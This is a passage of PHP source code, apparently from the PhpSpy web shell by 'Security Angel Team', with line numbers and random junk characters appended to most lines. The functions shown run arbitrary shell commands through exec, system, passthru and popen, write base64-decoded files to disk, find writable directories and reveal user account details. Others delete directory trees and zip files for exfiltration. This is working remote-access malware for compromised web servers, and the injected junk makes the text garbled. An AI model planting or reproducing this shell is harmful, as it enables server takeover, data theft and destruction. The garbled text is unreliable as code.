  1312.         m('Undefined Action');
    4 y/ n& ~" X9 L
  1313. }
    ' X3 S8 K) n! W1 d
  1314. ) J  u8 \0 ]9 v& R& }
  1315. ?>
    # \# Q' Q% [) ?( ?1 r
  1316. </td></tr></table># i4 ?  }, }# R8 t9 G
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    8 o! g, j! ?2 V% b' Y7 Y8 j0 T. v4 p
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    ) ]1 _2 _+ `0 i/ j2 J/ X) {
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.& z7 w8 j" L+ T. Y8 O' s- `) u
  1320. </div>
    / m& r% P: Y  |9 q  L
  1321. </body>6 N$ b3 h0 F7 z8 W( k' Q$ T
  1322. </html># S* v/ x- {# M& |2 U- N! B# A* ~
  1323. - H" x  X9 t7 G4 z( U2 t; |9 ~, Q
  1324. <?php
    " ?! r# S, s8 M) o4 L
  1325. ' I' T& C* _; O6 o+ \% d8 n
  1326. /*======================================================) o+ v. V: X3 y
  1327. 函数库' q! R9 u4 H3 ?$ H% T5 Z
  1328. ======================================================*/
    3 j. j% G# W: b
  1329. * _1 R% h7 G6 n' l- {# Y
  1330. function m($msg) {
    3 D. f4 P7 b0 [" q3 m  l
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    5 J. A: B" ~$ f2 {( ^
  1332.         echo $msg;2 j& r; E8 g5 @' w
  1333.         echo '</div>';3 n9 c- ^; X0 l' z( c& {
  1334. }: z, o1 i; l+ w6 y! d0 }
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    6 C/ A. G0 W! ~  G  T1 d
  1336.         global $admin, $timestamp, $_SERVER;* Q3 I& W  f4 D/ ^4 {5 }
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    6 p) g) G6 b; Q; L) s. J+ o! Z: @
  1338.         $life = $life ? $life : $admin['cookielife'];* u( Z1 z+ R% i) j9 V, R  ^
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    3 R5 Q! }' _; u6 D, l0 p! E
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    ' s' Z2 M1 i; n6 B* b3 W) Q3 y
  1341. }        : r& ^" X/ c8 O8 q% u
  1342. function multi($num, $perpage, $curpage, $tablename) {" h# r. h( q# ^' [8 F6 a
  1343.         $multipage = '';
    0 W5 ]0 W! p7 ^( i9 E0 g3 Q
  1344.         if($num > $perpage) {
    ; w: K9 v+ k& c8 I* `1 Y
  1345.                 $page = 10;# ?/ P- C, l% S1 E  O2 }+ b
  1346.                 $offset = 5;
    3 S+ Q7 `% P9 m, z' ]3 |
  1347.                 $pages = @ceil($num / $perpage);
    / a. S5 }2 B5 N
  1348.                 if($page > $pages) {
    # ?. M6 b9 I' o; D2 }
  1349.                         $from = 1;6 ~& U% ~0 R2 V3 @3 @
  1350.                         $to = $pages;" Q  d- ?6 O/ U/ s+ C8 Q5 P4 `
  1351.                 } else {% r& U9 \' H  I3 Z! q
  1352.                         $from = $curpage - $offset;4 p1 f3 Q* }  Y$ L6 M
  1353.                         $to = $curpage + $page - $offset - 1;) j) o& A5 {3 Z+ |" j  g, g7 ~
  1354.                         if($from < 1) {( m9 l# n% a9 A* s5 h5 o; h$ ]
  1355.                                 $to = $curpage + 1 - $from;$ q2 h1 c: ~* r. Q  a1 g! L
  1356.                                 $from = 1;4 @3 _2 Y% y- i# i# d- `: A4 M
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {2 x# |- y+ }* k4 L  a7 L
  1358.                                         $to = $page;) q; U' S& H. r3 \
  1359.                                 }
    ) B, q4 D9 X& O$ m" L6 n
  1360.                         } elseif($to > $pages) {$ I7 v4 C) P8 _' s" D! t( ]
  1361.                                 $from = $curpage - $pages + $to;
    5 _* k3 N' M6 K3 P& ~. Z. r' L% y
  1362.                                 $to = $pages;$ a& ~8 g9 K; W! J4 M
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    9 V& e; A* Q, B6 k3 v
  1364.                                         $from = $pages - $page + 1;9 X0 J8 G' B# e. g! v
  1365.                                 }
    4 m" `& a  c: F4 ]1 ]5 O
  1366.                         }
    . R% {# [' N* p) Y: \
  1367.                 }3 N6 u% `: W$ L5 L: C" i1 }. o
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
    . u1 W. r, M+ x
  1369.                 for($i = $from; $i <= $to; $i++) {3 r: n8 T0 V# O" u& I/ I! W
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
    7 D+ y+ g( L- i7 r0 Y# ]' c
  1371.                 }
    ) l# |7 y. ~* G2 s3 v/ d4 d
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');- @0 B" n5 C' L* x
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';1 K4 I% y* w: N$ g4 l/ a8 t
  1374.         }
    1 ]5 k5 _1 m( Z' [
  1375.         return $multipage;. d: w6 K4 X( J5 h( g% Q* B2 b5 P
  1376. }
    # B; F% e0 a, b+ d& p( }
  1377. // 登陆入口, [3 z2 E4 S4 k7 O8 O0 ?( [, g/ |
  1378. function loginpage() {# R3 Q/ c! m2 o5 [/ r5 u- ]
  1379. ?>* L8 ^1 t. N, B3 H, j/ }0 g$ p9 G
  1380.         <style type="text/css">
    : |4 ^# ?, m5 P( X6 E, d9 I' T  `1 N
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}2 p3 [/ T$ V, a; T9 e1 S, u
  1382.         </style>) s/ z6 u" U2 {
  1383.         <form method="POST" action="">* O% i4 D! ]3 a7 K9 P. u
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    5 {* a( m5 w$ i
  1385.         <input type="hidden" name="doing" value="login">5 @2 w2 j5 x" i
  1386.         <input type="submit" value="Login">- P% ]/ B' K" \! I, d* |; d1 ~# N, E
  1387.         </form>
    4 s  k. Y, ^4 p) ~' T
  1388. <?php
    1 f$ S( n0 S. M1 Z* \' `
  1389.         exit;1 p: w2 x( g2 n
  1390. }//end loginpage()
    ' h! Y7 V2 m8 q: H3 H" G/ ]

  1391. 7 O$ W% l$ a* N% ?5 l
  1392. function execute($cfe) {, X7 F! D# R7 S: `5 L1 p+ Y- D+ t( h
  1393.         $res = '';
    0 C& y/ ]9 \  w3 O: W( d
  1394.         if ($cfe) {
    8 s1 L1 p% p5 c9 S+ I
  1395.                 if(function_exists('exec')) {1 O2 u1 L# \+ B7 O; d; N- a
  1396.                         @exec($cfe,$res);4 z" J, G& z) g( H; N8 ~; F
  1397.                         $res = join("\n",$res);+ _% V+ B* \  Z8 ^( o
  1398.                 } elseif(function_exists('shell_exec')) {) O4 _% [# X5 `2 Q" N: X" ]
  1399.                         $res = @shell_exec($cfe);
      ~5 P! ~. V* W! [( ~: b% l
  1400.                 } elseif(function_exists('system')) {
    6 ~% |6 B$ H) v
  1401.                         @ob_start();
    # r- F- U. q# f) a8 u& |; _3 T
  1402.                         @system($cfe);8 Z1 F* `  `& ?2 ]2 A; |! j$ f* Z
  1403.                         $res = @ob_get_contents();0 g+ l3 D8 p' i; t  U
  1404.                         @ob_end_clean();
    6 f1 F# F) S6 v( U6 @2 I
  1405.                 } elseif(function_exists('passthru')) {' n8 ?  q7 q' I: W  a
  1406.                         @ob_start();
      g1 x, ]/ k3 h( {& [1 C
  1407.                         @passthru($cfe);& N3 Q$ x/ f. A7 B
  1408.                         $res = @ob_get_contents();  ]) N8 V2 q8 P1 z
  1409.                         @ob_end_clean();, F% H9 c& E8 }: Y" c
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    # Q  ]( ^% Y; r+ w; e
  1411.                         $res = '';
    , l: U: x6 E, ~8 \4 i; q$ h  N
  1412.                         while(!@feof($f)) {
    & C; M% X) R* y2 B* b7 ^% v
  1413.                                 $res .= @fread($f,1024); ) n! D( r/ Y8 ~* {# p
  1414.                         }, P  F4 R9 n5 C* I5 V, V
  1415.                         @pclose($f);
    : d8 {. s4 t5 r9 Q) E* m4 m
  1416.                 }$ P( U$ ]6 w' w, v! h
  1417.         }
    2 ~+ T$ ^6 g! @  o0 h& ?5 J; U
  1418.         return $res;
    ( k1 f. V2 W: m  r& A5 n
  1419. }
    * Q2 F% A7 }% [- m, L3 y
  1420. function which($pr) {
    8 f# F5 W0 `' t, F
  1421.         $path = execute("which $pr");
    % B! D* O% {6 c9 D+ M
  1422.         return ($path ? $path : $pr);
    * Q& o" |1 |6 K5 B$ u  N( O- @
  1423. }2 }- q/ S% g' R: t0 z" p
  1424. " U6 K1 j1 f6 A8 n
  1425. function cf($fname,$text){9 D1 B$ }/ A( N( h4 ~6 @8 l
  1426.         if($fp=@fopen($fname,'w')) {
    . t# x5 J1 p3 C7 L3 M5 r
  1427.                 @fputs($fp,@base64_decode($text));  e5 [  d, y1 u# S- z% \8 Y
  1428.                 @fclose($fp);
    % f4 \+ k( f) j* n
  1429.         }
    ' r+ s( r; R: `( F$ ^4 ?
  1430. }
    9 H' S2 U3 r/ }# |: M! l) O

  1431. . D+ \4 {5 h1 S6 j! z
  1432. // 页面调试信息( }9 T$ `% x2 O' y( g  \" T! ]
  1433. function debuginfo() {
    ; i) x  `( M: b# I) \- p( P9 L* P4 z
  1434.         global $starttime;
    : V) i4 o" z2 }5 t3 x; b: e; D
  1435.         $mtime = explode(' ', microtime());, J; V  \' T6 Q
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    ! m- c& k$ G2 S; s0 J2 J
  1437.         echo 'Processed in '.$totaltime.' second(s)';3 [: V& b; ]+ M$ A; Q
  1438. }  c; a; E: r0 H4 P: M
  1439. 3 H1 S# j( a7 [
  1440. //连接数据库
    + S4 T& k2 x" P0 b+ O
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    6 Y+ i& y5 z& [: G5 n# |
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    8 R2 D" D4 r: g" P- r
  1443.                 p('<h2>Can not connect to MySQL server</h2>');" |8 R/ a! k) X0 G; S
  1444.                 exit;
    $ [, q& ?7 {7 k8 g/ x: U* V1 e
  1445.         }
    0 o% I5 d( W4 {, h" E3 M  Q
  1446.         if($link && $dbname) {
    ) x% Z: e9 c) }1 P3 U
  1447.                 if (!@mysql_select_db($dbname, $link)) {
    , {+ d/ O; x& G( C* w
  1448.                         p('<h2>Database selected has error</h2>');. {$ ~3 {2 G* ~' R
  1449.                         exit;4 f" ^, l3 \5 h( ^7 R# m
  1450.                 }, Y/ @% V+ U* `# W0 o; o( |, a9 k
  1451.         }: t% E: S" I: H% o
  1452.         if($link && mysql_get_server_info() > '4.1') {& U$ `% Q  w5 a% `4 U0 L
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {& k# ^2 n7 J( G9 ^5 B) x# ^% k0 r
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    6 d  P6 N+ R2 X4 F! L/ l: d
  1455.                 }
    4 M3 P+ l9 P. z$ R! x1 B$ }6 n
  1456.         }
    ' H* H& X) S2 M4 g% i+ q1 X# @
  1457.         return $link;7 ^( h' f0 d3 }& H" A: T1 J/ _0 \
  1458. }
    # c- p' W1 j# f7 q  @6 z
  1459. 3 w* q% {4 k! U6 ?, Y" ?+ w
  1460. // 去掉转义字符2 F+ J' _+ j5 L! s2 x
  1461. function s_array(&$array) {
    / D6 `' X' U$ F2 e
  1462.         if (is_array($array)) {
    $ ^2 q  J9 T6 G; R; q2 a
  1463.                 foreach ($array as $k => $v) {6 N6 X! M5 `: k0 j* q
  1464.                         $array[$k] = s_array($v);1 o3 B& W& X* u( d. w; V9 U* e
  1465.                 }
    , O. W& y* ?5 P: k- s" W8 v! }) ]% c$ I
  1466.         } else if (is_string($array)) {
    ; c$ F7 A' Y# V. Q$ K4 a" o
  1467.                 $array = stripslashes($array);0 ]  u6 g) s* y# h
  1468.         }7 R% w5 s3 N9 n0 X
  1469.         return $array;
    & F& k. ]+ ^5 J5 ]
  1470. }& [, p1 ~/ G% Y2 _/ z
  1471. * o8 |' F) J% n% l
  1472. // 清除HTML代码
    9 u4 [& J7 v1 B% K3 _0 r0 ^
  1473. function html_clean($content) {7 \* g3 b* |6 E- E
  1474.         $content = htmlspecialchars($content);" b, a5 y5 n) L
  1475.         $content = str_replace("\n", "<br />", $content);
    9 w2 m# C3 N: C, ?+ d( a5 Z
  1476.         $content = str_replace("  ", "  ", $content);
    ( c% g7 E* w" k5 e
  1477.         $content = str_replace("\t", "    ", $content);9 a6 N1 p# @6 ~6 `* c" j0 A9 b, a
  1478.         return $content;
    8 H* s3 C( V# z
  1479. }
    3 U9 ?/ V& D' o2 N- c1 R
  1480. ! S3 b) ]$ P, Z0 J: e2 Z9 E/ b6 |
  1481. // 获取权限" v, @8 S' F: P) W* s4 V
  1482. function getChmod($filepath){+ S) w& c; r  Y/ G; `
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);' q7 L/ f1 Z' ^
  1484. }1 K; y) V; M% W) J/ H6 e
  1485. ) J0 n$ i# E9 v% n* s7 _
  1486. function getPerms($filepath) {! o% ~; S5 |6 w, W! i2 x# L9 K" N
  1487.         $mode = @fileperms($filepath);6 Z! @$ o6 q$ z3 l3 i
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}2 X4 h6 {. A/ I! x. m
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    % M# d7 T, _+ d! Q! `1 z
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    4 j4 a, Q0 Z& I0 i$ L* v; e
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      N5 f, S- e+ K7 k8 ?
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    % ^- ?( K( o* a" l, P% \9 A4 h$ t
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}- T/ t7 n; r, E" A" N' e
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    # E/ f; C1 I9 Q$ Y' X% j  g
  1495.         else {$type = '?';}
    $ C4 H/ \2 F, _  g- @
  1496. 0 P: O  A& w) G! S. w. u
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; - H0 y6 R' E- r( O+ X6 C
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-'; 3 m4 P# {+ W2 [8 @& ]
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; - H( W; ~1 v2 `) A7 j
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    2 Y' [. X. O; `# d
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    8 D  l5 n4 \) ^2 O' m( M9 d
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    $ n3 A! R4 \, X& T# I
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
    1 p. F% G9 t0 d' j# g1 d$ z
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    ! \5 V2 j! z8 V2 g! O6 q
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; * Q8 F6 Z1 v5 u% C

  1506. 7 r4 T+ m0 }& Y# }: w
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    / F3 P+ Q# Z$ e2 t
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    ; E6 g9 X7 G1 @5 p0 A2 q
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}1 O4 B) p. u8 }& {2 u( x$ ]

  1510. ( b; j) i/ b5 P, j: j# m
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    1 _5 U$ e& ~0 l% m" |
  1512. }
    / w: g, @! x9 Z- f9 n
  1513. + H# L2 W) s% R- c" a2 k# Y
  1514. function getUser($filepath)        {
    2 c# Q" Z1 a/ ^/ C
  1515.         if (function_exists('posix_getpwuid')) {7 W' m3 A# F& ]
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));) B6 n7 i. u& ^4 n2 s3 J" d
  1517.                 if ($array && is_array($array)) {
    : W% D/ N- ?4 C1 u/ r0 @, W7 x
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
    ! e- i- P; y% Y! r
  1519. Passwd: '.$array['passwd'].'* v+ f" p. j2 ~* t& O  R1 f
  1520. Uid: '.$array['uid'].'7 i. c8 u! ~0 l
  1521. gid: '.$array['gid'].'
    6 e) Q. |) z3 v
  1522. Gecos: '.$array['gecos'].'
    " J/ S( a- r/ g/ ]9 a; i
  1523. Dir: '.$array['dir'].'
    # t7 {- S" f8 l! j# J7 l
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    % s6 N  J; Y' t, Q
  1525.                 }8 t3 F$ ~6 ^1 ^' y8 l; W
  1526.         }
    + T: H" J+ O  Z6 i9 M& D2 p
  1527.         return '';
    ' |8 l% e1 n0 Y. S( v; W
  1528. }
    3 P8 T- g8 [$ {! K8 D% D
  1529. / y0 T# @. w6 k' x
  1530. // 删除目录
    + x9 r* k5 l( e' X2 r
  1531. function deltree($deldir) {7 {7 l- B+ u- ~/ A$ R
  1532.         $mydir=@dir($deldir);       
    5 k- l5 i. U+ [; v, k6 l! z3 c& a
  1533.         while($file=$mydir->read())        {                 ! E: P5 Z  x5 C( t' q5 Y
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
    ; {9 C/ _/ g" }  X- R
  1535.                         @chmod($deldir.'/'.$file,0777);
    1 O, P0 t1 H' O- I2 y
  1536.                         deltree($deldir.'/'.$file);
    % J& W" \4 H" W9 f; F. Y# R
  1537.                 }
    ' u- |' L% C* ~8 n3 a# ?
  1538.                 if (is_file($deldir.'/'.$file)) {, v- W% G, `4 Z' R# q  G
  1539.                         @chmod($deldir.'/'.$file,0777);
    ( m/ h- r. G3 A/ H, b; _6 y% l
  1540.                         @unlink($deldir.'/'.$file);
    8 u; D  i# a7 R5 w0 `% C5 I# ~
  1541.                 }
    " a$ t) ~1 F) }# C6 w+ S4 ^
  1542.         }
    $ L: D$ L$ y0 D/ J7 K7 O6 V
  1543.         $mydir->close();
    ; B% x3 I5 v! Y8 S" e& b0 T+ W0 Z" u* M
  1544.         @chmod($deldir,0777);0 j! c* \! ^) @  c3 ?/ p2 p
  1545.         return @rmdir($deldir) ? 1 : 0;
    7 \* ]7 A# p) a
  1546. }" N7 j% @; l$ H" y2 a' ?4 [

  1547. 0 Y2 P* u& [& A, |
  1548. // 表格行间的背景色替换: I3 G/ J3 S9 E! `
  1549. function bg() {
    7 m% d: w1 Z6 T+ j* d
  1550.         global $bgc;) A: i' [$ t0 i5 s8 B, J9 h; x
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';  }) O( E# I  X" t
  1552. }
    7 _: T, p; s5 ]- r. F
  1553. , c% B3 ~5 J* g& z! P$ j. y6 L( y
  1554. // 获取当前的文件系统路径
    6 J- K# O" c; B+ M3 z* ?8 t0 @* x
  1555. function getPath($scriptpath, $nowpath) {" `6 |/ }8 k5 H# C2 l
  1556.         if ($nowpath == '.') {9 y' d% s9 x+ A! Z. H/ y5 e! F  e  t
  1557.                 $nowpath = $scriptpath;
    6 y) X4 U4 _8 @& s& s$ G, Q" b
  1558.         }
    ! I. P  R; T5 f
  1559.         $nowpath = str_replace('\\', '/', $nowpath);/ J1 V* x$ B0 b7 `$ I1 s
  1560.         $nowpath = str_replace('//', '/', $nowpath);
    - {3 F% V$ I# C. x
  1561.         if (substr($nowpath, -1) != '/') {
    , s3 D! T, k- ^3 V
  1562.                 $nowpath = $nowpath.'/';
    / d  x7 s' D$ E! \. j0 U! x
  1563.         }/ t9 B( C! C$ p8 y2 ]* M+ `: t2 b$ E
  1564.         return $nowpath;
    - y5 u* t8 N. k' T
  1565. }6 }. W6 I+ R, F: n/ q! d
  1566. 1 e5 [1 ~8 \/ T- U3 r
  1567. // 获取当前目录的上级目录
    9 Z& d9 I, }  D! L5 u  P8 j& j6 O
  1568. function getUpPath($nowpath) {
    3 ?! H& w, o, A" k& K
  1569.         $pathdb = explode('/', $nowpath);# o) g# S6 j8 y
  1570.         $num = count($pathdb);
    * l' V: U8 \$ m! ^
  1571.         if ($num > 2) {
    7 ]: e1 E( R9 C1 A
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
    . a5 C! {, e0 S& A, k( ^
  1573.         }. @9 s$ Z* n2 A) ~' U
  1574.         $uppath = implode('/', $pathdb).'/';
    1 I5 u  Y- H4 A1 \* W4 M) j
  1575.         $uppath = str_replace('//', '/', $uppath);
    % d1 A/ |; H7 V9 J4 H$ E
  1576.         return $uppath;% G; |4 n/ l. a; N
  1577. }
    : {6 J4 l) F; \5 _/ l6 [
  1578. , Q, k* p1 _) f8 o! V8 X' Z6 V
  1579. // 检查PHP配置参数
    , D0 f$ u8 u, [! b' X
  1580. function getcfg($varname) {# X: C6 D/ U) Q2 A$ W: Q
  1581.         $result = get_cfg_var($varname);5 {8 \$ z. ]& O5 B4 D& e8 E
  1582.         if ($result == 0) {( N# W5 o" t" j7 R6 b- p4 q
  1583.                 return 'No';
    . a. e$ t; w5 p7 @9 _) y
  1584.         } elseif ($result == 1) {' _- H, _, N0 c5 v5 n: h
  1585.                 return 'Yes';; q# w: j; N2 O6 N  H3 Q  W
  1586.         } else {# u, S) |& B& ^& q
  1587.                 return $result;
    4 v& [" C6 g5 l, v) @* f
  1588.         }
    ; ~, V9 k* N- s8 l; [
  1589. }
    . \# b& k& i( R1 [7 B0 A

  1590. 6 o* d, M7 R3 a9 p+ b5 h; E
  1591. // 检查函数情况# G6 ^( X5 Q0 u4 U
  1592. function getfun($funName) {% y4 R: l( F: f
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';% J  G8 _. M& i& `
  1594. }
    6 E& @. Q/ x5 b/ y9 A: ^) r

  1595. 1 H: @! N$ l# u( f5 |8 X( y$ J% b
  1596. function GetList($dir){$ i/ N. I/ n& A! I: l- D6 i& m
  1597.         global $dirdata,$j,$nowpath;
    : a. U) W8 \. Z" N
  1598.         !$j && $j=1;# b1 B+ P. A; x4 g1 v
  1599.         if ($dh = opendir($dir)) {! a9 J. A- J9 T( o4 U; G
  1600.                 while ($file = readdir($dh)) {
    & m6 o* W) t) g# `; D& L+ w
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);& K, M2 z, E& s4 J. Y2 r# f: G
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){1 X) b8 G5 b: l2 B
  1603.                                 if (is_writable($f)) {
    , x' b/ O9 b  I7 f/ k; {  j
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);# }% N& \( R" E3 V/ K. g
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));" I) e" `$ r9 q+ S9 u) W/ Y- z: M
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);9 X/ P5 A; c' o4 X8 U
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);4 A& ?5 Z  p. J5 V0 m+ U
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);+ p8 c* r3 ]" T3 \  ~
  1609.                                         $dirdata[$j]['server_link']=$f;' i6 A; ]( R# A2 a* b
  1610.                                         $dirdata[$j]['client_link']=ue($f);! D6 ~% O$ e" d- f7 g
  1611.                                         $j++;
    / U& l: q" {5 Z0 V- ~
  1612.                                 }
    ; o$ I3 h4 {6 g
  1613.                                 GetList($f);
    & z, x5 o" k. {& v
  1614.                         }
    0 L; J2 W, B; W
  1615.                 }# [0 Q' R7 p3 [4 m! B
  1616.                 closedir($dh);! D7 b* E6 q% l$ z! z
  1617.                 clearstatcache();, J9 J! ~/ O* i. Z  Z  T0 b, o# f
  1618.                 return $dirdata;$ W0 G0 B% Q3 N" A- i0 V9 w
  1619.         } else {
    3 D; B$ ?; H1 z# q# x/ |7 h
  1620.                 return array();
    * ?( o1 y& w  w
  1621.         }
    8 K2 q( F! U7 ~. u6 M
  1622. }
    8 B' _  d# Q2 l7 {

  1623. 1 G6 t  Y) ]0 E7 T5 }7 F  }+ d
  1624. function qy($sql) { + M/ U0 a7 P' d* S" K
  1625.         //echo $sql.'<br>';
    9 r: {' @  v; }, l6 P% |0 j
  1626.         $res = $error = '';
    # b* k6 O: N$ b* S
  1627.         if(!$res = @mysql_query($sql)) { , t4 t5 e( X; w% [& w7 L
  1628.                 return 0;
    3 M9 _! |  @* s* X; l- J
  1629.         } else if(is_resource($res)) {, u" q7 K0 Z1 T- A  ~7 |1 ~
  1630.                 return 1; & l9 t$ e$ k  [4 n1 a) i
  1631.         } else {. F. r- o/ l7 b2 j
  1632.                 return 2;; l, E& k& w6 s- j2 Z- p7 }) ?
  1633.         }       
      j- e6 U7 q- y
  1634.         return 0;6 t) w5 b3 q7 j
  1635. }! O5 X; K! h# X: E4 D% D
  1636.   a/ x8 G6 I: L8 k; X: B1 g
  1637. function q($sql) {
    3 F3 a4 f5 k5 y: o* Y
  1638.         return @mysql_query($sql);
    * u/ v: h% a, c$ q% B: \" p0 I
  1639. }& g2 X3 }8 d# C3 M. K2 i* V+ K

  1640. 6 P! q* X% Q. D
  1641. function fr($qy){. E  k/ n) T, m. Q0 ]; n" s) z( q! E
  1642.         mysql_free_result($qy);
    ! F/ n$ ?/ Q5 W0 ^, |* k3 [. w7 {3 a
  1643. }
    9 @' \2 W+ ~  D7 [" k  @( R9 U

  1644. ! R- ]% B5 ?2 `7 ~1 p9 E- F) |% c8 D
  1645. function sizecount($size) {2 {; L! A7 U  @; d4 Y
  1646.         if($size > 1073741824) {8 i  n, i1 t9 s( N, t
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';, H2 f7 L- m. e5 H# B8 M3 C
  1648.         } elseif($size > 1048576) {2 _7 k2 p' K2 `8 Q! W
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';  v0 c- A3 M" Z* J, ?6 T
  1650.         } elseif($size > 1024) {) t* F4 X; u/ w7 `
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    8 l; ^1 j* i$ \; S2 `
  1652.         } else {* G- q& R# I* A- w7 T
  1653.                 $size = $size . ' B';4 z6 U$ P1 ]; O  k6 F6 y2 h% O
  1654.         }- L6 b( [1 R+ C4 k2 H
  1655.         return $size;  r  F8 n4 u1 z- [8 j+ q
  1656. }
    ; M; p8 v" A3 C: b: h
  1657. 4 [* h% E  k3 c8 e+ G3 M7 M2 e, [
  1658. // 压缩打包类
    2 F7 A6 `6 r5 V2 T9 I6 m5 L
  1659. class PHPZip{3 n# Y1 _! ]1 ^& D9 H
  1660.         var $out='';- O2 q' C! T& A5 L9 F4 Z) A- e  |; ~
  1661.         function PHPZip($dir)        {/ h1 P( q+ ]2 l* X' D) d: o9 N
  1662.                 if (@function_exists('gzcompress'))        {
    " Q" Y) i+ Y) h: \6 @, C
  1663.                         $curdir = getcwd();) l( S& W8 f2 `. ]* [% F
  1664.                         if (is_array($dir)) $filelist = $dir;; S8 A4 J. s' F. |+ q5 W
  1665.                         else{
    4 k0 C( s: W- H
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表& M/ s4 E: S( o. }/ X+ T6 _5 L& N
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    : R8 E0 q4 w0 Z7 w7 f
  1668.                         }
    9 p/ Z: {8 }& ]5 W7 h% N
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);' E. u& s" u3 f; q9 X* p- T
  1670.                         else chdir($curdir);/ y/ E2 v$ o3 q) x
  1671.                         if (count($filelist)>0){( m* w  q5 e* z$ X+ L# L/ S) C
  1672.                                 foreach($filelist as $filename){
    . B; T' `6 \( F3 m( ?+ l4 j4 y
  1673.                                         if (is_file($filename)){
    6 N2 s) `: Z3 F+ U: ]( a, y
  1674.                                                 $fd = fopen ($filename, 'r');
    % ?; j# V: x( R( i
  1675.                                                 $content = @fread ($fd, filesize($filename));
    6 y) v" `/ w4 b* \2 J
  1676.                                                 fclose ($fd);
    0 A$ v. ]! ]# d$ b8 Y+ |
  1677.                                                 if (is_array($dir)) $filename = basename($filename);: E- g! P  ^' ?# f
  1678.                                                 $this -> addFile($content, $filename);
    1 K. K# n% j# d/ M
  1679.                                         }, k$ k, Y9 j& ^1 e& @) g- [
  1680.                                 }
    , B% m( H9 \6 ~% N% @+ u4 n
  1681.                                 $this->out = $this -> file();  I! P% ?, K, _: L
  1682.                                 chdir($curdir);
    , v5 F9 ~: V5 {; ]
  1683.                         }: w+ h+ J- a3 K0 J9 Y0 S" w& B/ a
  1684.                         return 1;
    / g! n% k) t: l6 Z" \
  1685.                 }
    ' s4 `0 O" Q" ], }8 t* g& u
